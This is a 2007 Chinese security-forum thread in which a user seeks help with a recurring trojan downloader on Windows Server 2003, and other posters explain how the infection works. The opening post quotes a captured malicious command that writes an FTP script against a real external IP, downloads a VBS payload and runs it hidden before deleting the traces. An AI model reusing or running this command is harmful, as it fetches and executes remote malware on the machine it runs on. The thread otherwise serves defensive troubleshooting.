一个很难缠的病毒...

qyf740

微点可以运行但是主界面打不开....虽然可以运行，但是成了摆设了（10月30号的版本）....卡巴啥也没扫到（31号的病毒库）只可以扫到IE临时文件夹里的木马。
怀疑是木马下载器....每隔一会它就会连到网络，或者想运行已经下载的木马....在C盘根目录下有一群exe程序...同删了也没用，一会又有了。现在就只有用着ssm来阻止它再创建，但是还是有网络攻击，
这是ssm的其中一个进程的信息:
cmd.exe /c echo open 61.183.11.211>c:\gz&& echo 123>>c:\gz&& echo 123>>c:\gz&& echo binary>>c:\gz&& echo get 1.vbs c:\aa.vbs>>c:\gz&& echo bye>>c:\gz&& echo del c:\run.vbs>c:\a.bat&& echo del c:\a.bat>>c:\a.bat&& echo ftp -s:c:\gz>c:\ff.bat&& echo c:\aa.vbs>>c:\ff.bat&& echo del c:\gz>>c:\ff.bat&& echo cmd /c c:\a.bat>>c:\ff.bat&& echo del c:\ff.bat>>c:\ff.bat&& echo CreateObject(WScript.Shell).Run cmd /c c:\ff.bat,0 >c:\run.vbs&& c:\run.vbs

另附上SREng的扫描日志。

[ 本帖最后由 qyf740 于 2007-11-3 16:31 编辑 ]

qyf740

忘了说了，是win2003的系统，
用ssm阻止了那些进程之后，现在重后，C盘根目录下还没有木马文件再生成...
但是那个终截者一直提示拦截到的一个ms03-026攻击...

capsshift

样本，还是要看到样本。楼主用SSM了，不会连样本都抓不出来吧。

qyf740

真的就是弄不到样本，
能发现的那些病毒都不是主要的
用ssm阻止的连到其它电脑上下病毒的进程是system32/webm/wmiprvse（或者是wmiapsrv，没记得，没记日志）这两个应该都是正常的文件，阻止了那几个连接之后再打了几个补丁，现在好像没什么问题了，MS是漏洞攻击....

qyf740

头疼.....
又开始了.....
找不到元凶，只抓到一些小啰啰.....
这些微点都解决了....
但是它们从哪来的...微点不知道....
用可疑程序诊断查不到可疑程序......

qyf740

还有一个“who.exe”500多K传不上来
微点最近的程序生成日志
创建时间        文件名        创建者
2007-11-01 20:16:58        C:\WINDOWS\SERER.EXE        C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\MSINFO\IEFILES.INI
2007-11-01 20:16:57        C:\PROGRAM FILES\COMMON FILES\MICROSOFT SHARED\MSINFO\IEFILES.INI        C:\WINDOWS\SYSTEM32\WHO.EXE
2007-11-01 20:14:23        C:\PROGRAM FILES\DAEMON TOOLS\LANG\1033.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\HA-DT409HE_HX.EXE
2007-11-01 20:14:17        C:\PROGRAM FILES\DAEMON TOOLS\UNINST.EXE        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PLUGINS\IMAGES\PFCMOUNT.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PLUGINS\IMAGES\PDIMOUNT.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PLUGINS\IMAGES\NRGMOUNT.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PLUGINS\IMAGES\MDSMOUNT.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PLUGINS\IMAGES\ISZMOUNT.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PLUGINS\IMAGES\CUEMOUNT.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PLUGINS\IMAGES\CCDMOUNT.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PLUGINS\IMAGES\BWTMOUNT.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PLUGINS\IMAGES\BW5MOUNT.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\LANG\1033.BAK        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\PFCTOC.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\DAEMON.EXE        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\DAEMON.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\CRYPTAPI.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:14:14        C:\PROGRAM FILES\DAEMON TOOLS\CHKUPD.EXE        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:13:44        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\NSP3.TMP\INSTALLOPTIONS.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:13:44        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\NSP3.TMP\SETUPHLP.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:13:02        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\RAR$EX00.766\KILL_AUTO.EXE        C:\PROGRAM FILES\WINRAR\WINRAR.EXE
2007-11-01 20:10:28        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\NSU38.TMP\SETUPHLP.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE
2007-11-01 20:09:45        C:\WINDOWS\SYSTEM32\DRIVERS\SPTD.SYS        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\SPTDINST-X86.EXE
2007-11-01 20:09:23        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\SPTDINST-X86.EXE        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\RAR$EX00.125\DAEMON409-X86\DAEMON409-X86.EXE
2007-11-01 20:09:13        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\NST33.TMP\INSTALLOPTIONS.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\RAR$EX00.125\DAEMON409-X86\DAEMON409-X86.EXE
2007-11-01 20:09:13        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\NST33.TMP\SETUPHLP.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\RAR$EX00.125\DAEMON409-X86\DAEMON409-X86.EXE
2007-11-01 20:08:40        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB925902-X86-CHS.EXE.TD        D:\PROGRAM FILES\THUNDER\PROGRAM\THUNDER5.EXE
2007-11-01 20:08:36        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB914961-SP2-X86-CHS.EXE        D:\PROGRAM FILES\THUNDER\PROGRAM\THUNDER5.EXE
2007-11-01 20:08:28        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\HA-DT409HE_HX.EXE        C:\PROGRAM FILES\WINRAR\WINRAR.EXE
2007-11-01 20:08:28        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\桌面\DAEMON409-X86.EXE        C:\PROGRAM FILES\WINRAR\WINRAR.EXE
2007-11-01 20:08:15        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\RAR$EX00.125\DAEMON409-X86\HA-DT409HE_HX.EXE        C:\PROGRAM FILES\WINRAR\WINRAR.EXE
2007-11-01 20:08:15        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\RAR$EX00.125\DAEMON409-X86\DAEMON409-X86.EXE        C:\PROGRAM FILES\WINRAR\WINRAR.EXE
2007-11-01 20:05:50        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMPORARY INTERNET FILES\CONTENT.IE5\8XMF45A7\WINDOWSSERVER2003-KB925902-X86-CHS[1].EXE        D:\PROGRAM FILES\THEWORLD 2.0\THEWORLD.EXE
2007-11-01 19:19:26        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\IS-0809N.TMP\CLEAN.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\IS-1F61E.TMP\IS-IC2IA.TMP
2007-11-01 19:19:22        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\IS-0809N.TMP\_ISETUP\_SHFOLDR.DLL        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\IS-1F61E.TMP\IS-IC2IA.TMP
2007-11-01 19:19:20        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\IS-1F61E.TMP\IS-IC2IA.TMP        D:\TDDOWNLOAD\我的工具\DIY_Y1.2.EXE
2007-11-01 19:18:24        D:\TDDOWNLOAD\天地劫\DYNASTY\SWORDMAN.EXE        C:\WINDOWS\EXPLORER.EXE
2007-11-01 19:18:24        D:\TDDOWNLOAD\天地劫\DYNASTY\SM_WIN2.EXE        C:\WINDOWS\EXPLORER.EXE
2007-11-01 19:18:24        D:\TDDOWNLOAD\天地劫\DYNASTY\SM_WIN1.EXE        C:\WINDOWS\EXPLORER.EXE
2007-11-01 19:18:24        D:\TDDOWNLOAD\天地劫\DYNASTY\MSS32.DLL        C:\WINDOWS\EXPLORER.EXE
2007-11-01 19:18:24        D:\TDDOWNLOAD\天地劫\DYNASTY\MP3DEC.ASI        C:\WINDOWS\EXPLORER.EXE
2007-11-01 19:18:24        D:\TDDOWNLOAD\天地劫\DYNASTY\BINKW32.DLL        C:\WINDOWS\EXPLORER.EXE
2007-11-01 19:18:23        C:\DOCUMENTS AND SETTINGS\ADMINISTRATOR\LOCAL SETTINGS\TEMP\RAR$DR01.844\DYNASTY\SWORDMAN.EXE        C:\PROGRAM FILES\WINRAR\WINRAR.EXE
2007-11-01 19:17:28        C:\WINDOWS\$HF_MIG$\KB936782\UPDATE\UPDSPAPI.DLL        D:\F03A9709C2331E220A\UPDATE\UPDATE.EXE
2007-11-01 19:17:28        C:\WINDOWS\$HF_MIG$\KB936782\UPDATE\UPDATE.EXE        D:\F03A9709C2331E220A\UPDATE\UPDATE.EXE
2007-11-01 19:17:28        C:\WINDOWS\$HF_MIG$\KB936782\UPDATE\SPCUSTOM.DLL        D:\F03A9709C2331E220A\UPDATE\UPDATE.EXE
2007-11-01 19:17:27        C:\WINDOWS\$HF_MIG$\KB936782\SPMSG.DLL        D:\F03A9709C2331E220A\UPDATE\UPDATE.EXE
2007-11-01 19:17:27        C:\WINDOWS\$HF_MIG$\KB936782\SPUNINST.EXE        D:\F03A9709C2331E220A\UPDATE\UPDATE.EXE
2007-11-01 19:17:27        C:\WINDOWS\SYSTEM32\SPMSG.DLL        D:\F03A9709C2331E220A\UPDATE\UPDATE.EXE
2007-11-01 19:17:26        C:\WINDOWS\SYSTEM32\SPUPDSVC.EXE        D:\F03A9709C2331E220A\UPDATE\UPDATE.EXE
2007-11-01 19:17:20        D:\F03A9709C2331E220A\SPUPDSVC.EXE        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:20        D:\F03A9709C2331E220A\SPUNINST.EXE        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:20        D:\F03A9709C2331E220A\SP1GDR\WMP.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:19        D:\F03A9709C2331E220A\SP1QFE\WMP.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:19        D:\F03A9709C2331E220A\SPMSG.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:19        D:\F03A9709C2331E220A\SP2GDR\WMP.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:18        D:\F03A9709C2331E220A\UPDATE\SPCUSTOM.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:18        D:\F03A9709C2331E220A\UPDATE\UPDSPAPI.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:18        D:\F03A9709C2331E220A\SP2QFE\WMP.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:17        D:\F03A9709C2331E220A\UPDATE\UPDATE.EXE        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:17:17        D:\F03A9709C2331E220A\_SFX_.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:58        C:\WINDOWS\$HF_MIG$\KB936782\SP2QFE\WMP.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:58        C:\WINDOWS\$HF_MIG$\KB936782\SP2GDR\WMP.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:57        C:\WINDOWS\$HF_MIG$\KB936782\SP1QFE\WMP.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:57        C:\WINDOWS\SYSTEM32\DLLCACHE\WMP.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:56        C:\WINDOWS\SYSTEM32\WMP.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:56        C:\WINDOWS\$HF_MIG$\KB936782\UPDATE\UPDSPAPI.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:56        C:\WINDOWS\$HF_MIG$\KB936782\UPDATE\UPDATE.EXE        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:56        C:\WINDOWS\$HF_MIG$\KB936782\UPDATE\SPCUSTOM.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:55        C:\WINDOWS\$HF_MIG$\KB936782\SPMSG.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:55        C:\WINDOWS\$HF_MIG$\KB936782\SPUNINST.EXE        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:55        C:\WINDOWS\SYSTEM32\_000001_.TMP.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:55        C:\WINDOWS\TEMP\UPD27.TMP        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:55        C:\WINDOWS\$NTUNINSTALLKB936782$\SPUNINST\SPUNINST.EXE        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:55        C:\WINDOWS\$NTUNINSTALLKB936782$\SPUNINST\UPDSPAPI.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:54        C:\WINDOWS\$NTUNINSTALLKB936782$\WMP.DLL        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE
2007-11-01 19:16:48        D:\C1FCA69F600C7F0468AE\SPUPDSVC.EXE        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:48        D:\C1FCA69F600C7F0468AE\SPUNINST.EXE        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:47        D:\C1FCA69F600C7F0468AE\SP1GDR\WMP.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:47        D:\C1FCA69F600C7F0468AE\SP1QFE\WMP.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:46        D:\C1FCA69F600C7F0468AE\SPMSG.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:46        D:\C1FCA69F600C7F0468AE\SP2GDR\WMP.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:45        D:\C1FCA69F600C7F0468AE\UPDATE\SPCUSTOM.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:45        D:\C1FCA69F600C7F0468AE\UPDATE\UPDSPAPI.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:45        D:\C1FCA69F600C7F0468AE\SP2QFE\WMP.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:45        D:\C1FCA69F600C7F0468AE\UPDATE\UPDATE.EXE        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:44        D:\C1FCA69F600C7F0468AE\_SFX_.DLL        D:\TDDOWNLOAD\WINDOWSSERVER2003-KB936782-X86-CHS.EXE
2007-11-01 19:16:38        C:\WINDOWS\$HF_MIG$\KB921503\SP2QFE\OLEAUT32.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:38        C:\WINDOWS\$HF_MIG$\KB921503\SP2GDR\OLEAUT32.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:38        C:\WINDOWS\$HF_MIG$\KB921503\SP1QFE\OLEAUT32.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:37        C:\WINDOWS\SYSTEM32\DLLCACHE\OLEAUT32.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:37        C:\WINDOWS\SYSTEM32\OLEAUT32.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:37        C:\WINDOWS\SYSTEM32\_000006_.TMP.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:37        C:\WINDOWS\$HF_MIG$\KB921503\UPDATE\UPDSPAPI.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:37        C:\WINDOWS\$HF_MIG$\KB921503\UPDATE\UPDATE.EXE        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:37        C:\WINDOWS\$HF_MIG$\KB921503\UPDATE\SPCUSTOM.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:37        C:\WINDOWS\$HF_MIG$\KB921503\SPMSG.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:36        C:\WINDOWS\$HF_MIG$\KB921503\SPUNINST.EXE        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE
2007-11-01 19:16:36        C:\WINDOWS\SYSTEM32\_000004_.TMP.DLL        D:\506EB6728EFA395BB9\UPDATE\UPDATE.EXE

dsl5

它是通过一个程序生成下载器(但是下载器延迟发作,在生成与发作的期间由于大量的其他操作可能会造成冲刷记录,因此微点无法捕获那源头程序)微点只记录了下载器,杀了木马和下载器,但是生成下载器的程序没有杀!

qyf740

这样子怎么处理？？
总不能让它老下木马啊...[:1:]

dsl5

原帖由 qyf740 于 2007-11-1 23:12 发表
这样子怎么处理？？
总不能让它老下木马啊...[:1:]

不妨清理下微点的程序生成日志里的正常记录

biaobiao

这是调用CMD做的一个VBS脚本文件
再通过脚本下载木马
LZ注意可能被拿了CMDSHELL